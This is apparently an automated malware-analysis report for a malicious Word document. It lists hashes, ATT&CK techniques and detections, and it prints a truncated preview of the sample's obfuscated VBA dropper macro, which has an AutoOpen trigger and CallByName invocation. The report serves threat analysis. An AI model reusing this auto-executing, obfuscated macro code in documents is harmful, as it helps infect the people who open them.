Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fc7a90830a30078…

MALICIOUS

Office (OLE)

73.0 KB Created: 2018-06-01 11:46:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 4ec5b73d6fabc1536b3e62a88ccae034 SHA-1: 8d0d76fb26061fecde8ff3adaf127d14d5fa0dfc SHA-256: 3fc7a90830a30078b38677786759b87c22e30af66a46520edfc00f57553a0ef6
282 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro designed to execute. Heuristics indicate the use of CreateObject and CallByName, common for dropping payloads. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a social engineering lure to bypass security. The macro itself appears to be obfuscated, but its presence and the document's structure strongly suggest it's a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6568042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6568042-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9546 bytes
SHA-256: 19daecd8cf2bc418f31bc29aaa869f6c5bfaaf9d58ea05fd08ed81b256c55696
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutOOpen()
bombaz103 = 28 + 85
bombaz103 = 37 - 42 + bombaz10
bombaz103 = bombaz103 - bombaz103 * bombaz103 * 6
remont666
bombaz103 = 90 + 27 + 77 - 3
bombaz103 = bombaz103 * bombaz103 * 95 + 35 * 1
bombaz103 = bombaz103 - 71 * 8
End Sub


Attribute VB_Name = "angels5555"
Attribute VB_Base = "0{D511D58C-ACCA-4D6C-B1B8-EC47A817699F}{E5915CB5-3763-4907-805D-09036683A39D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub etiurges_Change()
chuan3344 = gagarin4(waynepci)
krautnoy = gagarin4(waynepci)
sbdcplease = gagarin4(newlover)
athandrew = gagarin4(newlover)
ARUBEHCOK = 78 + 16
ARUBEHCOK = 76 * 2
ARUBEHCOK = ARUBEHCOK + 45 - 99 + 20
avononmeS chuan3344, krautnoy, sbdcplease, athandrew
End Sub

Private Sub kenig039_Change()

End Sub

Private Sub testturbo_Change()

End Sub

Private Sub vadersina_Change()

End Sub

Attribute VB_Name = "aolbabies"
Function waynepci()
waynepci = gathodon.alex0201
End Function

Function newlover()
newlover = koneprahS.pookie158
End Function

Sub avast2241(timmarina)
cidwyags = "I[/"
kermitram = 0
deanster = True
CallByName timmarina, plicfarc(cidwyags), VbMethod, koneprahS.jacbrit1, kermitram, deanster
End Sub

Function guineeme()
guineeme = "iugcuhogoumaghoEmaQRcal]/E.]/"
End Function

Function lucytravel(nissan22, piccerella)
lucytravel = GJLFDKTY(Int((nissan22 * ANIHIMUHS()) + piccerella))
End Function

Function GJLFDKTY(unanlied)
bombaz103 = 28 + 85
bombaz103 = 37 - 42 + bombaz10
bombaz103 = bombaz103 - bombaz103 * bombaz103 * 6
GJLFDKTY = CInt(unanlied)
bombaz103 = 90 + 27 + 77 - 3
bombaz103 = bombaz103 * bombaz103 * 95 + 35 * 1
bombaz103 = bombaz103 - 71 * 8
End Function


Attribute VB_Name = "dawnhtml"
Function ANIHIMUHS()
brainveg = 100 * 9
brainveg = 23 * brainveg - 85 - 16 * 1
brainveg = 69 - brainve
brainveg = 12 - 86
brainveg = 19 + brainveg + 5
brainveg = 44 + 62 - brainveg + brainve
ANIHIMUHS = Rnd()
End Function

Function geraldin(duicheng)
brainveg = 100 * 9
brainveg = 23 * brainveg - 85 - 16 * 1
brainveg = 69 - brainve
brainveg = 12 - 86
brainveg = 19 + brainveg + 5
brainveg = 44 + 62 - brainveg + brainve
geraldin = plicfarc(guineeme + gathodon.solsaint) + duicheng + _
plicfarc(gathodon.celine520) + duicheng + plicfarc(angels5555.kenig039)
End Function

Function votavzek(trarwump, tidnymph)
finalfantasy = Left(trarwump, tidnymph)
votavzek = avokinvodoloS(finalfantasy)
End Function

Function avokinvodoloS(llostrat)
avokinvodoloS = Right(llostrat, 1)
End Function

Function skaterwww(sexsiuka, Serega2006)
brainveg = 100 * 9
brainveg = 23 * brainveg - 85 - 16 * 1
brainveg = 69 - brainve
brainveg = 12 - 86
brainveg = 19 + brainveg + 5
brainveg = 44 + 62 - brainveg + brainve
skaterwww = plicfarc(koneprahS.DIPSET29) + sexsiuka + plicfarc(wubfak462.santhosh) + _
 Serega2006 + plicfarc(koneprahS.nigloviS + koneprahS.NAYZABAHAH) + Serega2006
End Function

Function ptervipr(dandan22, voksanof)
ptervipr = dandan22 + votavzek(desnistb, voksanof)
End Function






Attribute VB_Name = "gathodon"
Attribute VB_Base = "0{1163E99E-587B-4DBE-ADC8-D2381FA053B4}{65537BB6-DA0C-41C3-A7B2-24764B6878CC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub alex0201_Change()

End Sub

Private Sub celine520_Change()

End Sub

Private Sub kingdarren_Change()

End Sub

Private Sub solsaint_Change()

End Sub

Private Sub spainfirst_Change()

End Su
... (truncated)

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